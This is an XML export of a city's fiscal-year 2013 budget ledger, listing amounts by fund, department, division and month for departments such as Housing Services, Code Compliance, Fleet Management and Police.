<row _id="2786"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>571120.0</object><object_description>S+C HAP TRA</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1585798.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-58850</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1526948.0</total></row>
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<row _id="2790"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-26907.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-26907.0</total></row>
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<row _id="2796"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>722.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>722.0</total></row>
<row _id="2797"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>579250.0</object><object_description>GEOGRAPHIC INFORMATION SYSTEM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>41000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>41000.0</total></row>
<row _id="2798"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1345306.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>16306</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1361612.0</total></row>
<row _id="2799"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1128.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1128.0</total></row>
<row _id="2800"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7495.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7495.0</total></row>
<row _id="2801"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>715.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>715.0</total></row>
<row _id="2802"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8610.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8610.0</total></row>
<row _id="2803"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-2009.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2009.0</total></row>
<row _id="2804"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>348.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-6</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>342.0</total></row>
<row _id="2805"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>12000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
<row _id="2806"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2564.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2564.0</total></row>
<row _id="2807"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>577550.0</object><object_description>FARMERS' MARKET SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>37735.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>37735.0</total></row>
<row _id="2808"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1300.0</total></row>
<row _id="2809"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>363.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>363.0</total></row>
<row _id="2810"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>9077.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9077.0</total></row>
<row _id="2811"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="2812"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400921.0</object><object_description>SPC ADMIN SU02</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-4696.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-4696.0</total></row>
<row _id="2813"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400922.0</object><object_description>SPC ADMIN TRA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-111006.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-111006.0</total></row>
<row _id="2814"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="2815"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="2816"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1038.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>10</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1048.0</total></row>
<row _id="2817"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="2818"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-10000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="2819"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="2820"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>31555.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-5408</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>26147.0</total></row>
<row _id="2821"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2859.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>29</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2888.0</total></row>
<row _id="2822"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>5000</may><june>0.0</june><total>7000.0</total></row>
<row _id="2823"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>120650.0</july><august>0</august><september>0.0</september><october>-5028.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>115622.0</total></row>
<row _id="2824"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>19293.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19293.0</total></row>
<row _id="2825"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>28922.0</july><august>0</august><september>0.0</september><october>-206.0</october><november>0</november><december>0</december><january>0.0</january><february>287</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>29003.0</total></row>
<row _id="2826"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>48628.0</july><august>0</august><september>0.0</september><october>-38.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>48590.0</total></row>
<row _id="2827"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522920.0</object><object_description>COMMERCIAL VEHICLE REPAIRS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>271164.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>271164.0</total></row>
<row _id="2828"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="2829"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15920.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15920.0</total></row>
<row _id="2830"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>7879.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>79</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7958.0</total></row>
<row _id="2831"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10428.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10428.0</total></row>
<row _id="2832"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2629.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>26</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2655.0</total></row>
<row _id="2833"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>127378.21</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>127378.21</total></row>
<row _id="2834"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>405330.0</object><object_description>HOUSING PROPERTY RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>-90000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-90000.0</total></row>
<row _id="2835"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-315.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-315.0</total></row>
<row _id="2836"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-3538.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3538.0</total></row>
<row _id="2837"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-5580.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>5580</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2838"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-9029.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-9029.0</total></row>
<row _id="2839"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-6123.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-6123.0</total></row>
